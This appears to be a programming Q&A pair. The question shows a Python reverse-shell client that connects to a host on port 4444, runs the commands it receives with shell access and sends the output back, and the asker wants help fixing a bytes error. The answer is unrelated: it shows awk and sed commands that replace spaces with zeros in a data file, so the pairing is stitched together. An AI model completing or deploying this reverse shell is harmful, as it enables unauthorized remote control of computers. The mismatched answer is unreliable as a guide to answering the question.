Question: I'm trying to use `windows` system commands with a remote pc on `python3` and it doesn´t seem to work.
When I try to type "dir" to list the commands from my remote pc it gives me an exception on my windows terminal.

```
raise TypeError('bytes args is not allowed on Windows') 

```

I know I need to convert it in bytes, I guess? But how do I do that with a variable?

```
import socket
import subprocess

def execute_system_command(command):
    return subprocess.check_output(command, shell=True)

connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connection.connect(("192.168.178.87", 4444))

connection.send(b"\n[+] Connection established.\n")

command = connection.recv(1024)
command_result = execute_system_command(command)
connection.send(b(command_result))

connection.close()

```

Answer: 
```
$ awk 'BEGIN{FS=OFS="   "} {gsub(/ /,0,$2)} 1' file
ME45 P   131104113001.253
ME39 P   131104113007.700
ME38 P   131104113007.776
ME37 P   131104113008.285
ME36 P   131104113008.689
ME30 P   131104113010.252
ME26 P   131104113010.486
ME29 P   131104113009.598
ME28 P   131104113009.356
ME21 P   131104113009.911
ME20 P   131104113010.465
ME17 P   131104113010.984

```
You can use a simple `sed` regex with 2 capture groups that match a digit separated by a single space:

```
sed -E 's/([0-9]) ([0-9])/\10\2/g' file

```

```
ME45 P   131104113001.253
ME39 P   131104113007.700
ME38 P   131104113007.776
ME37 P   131104113008.285
ME36 P   131104113008.689
ME30 P   131104113010.252
ME26 P   131104113010.486
ME29 P   131104113009.598
ME28 P   131104113009.356
ME21 P   131104113009.911
ME20 P   131104113010.465
ME17 P   131104113010.984

```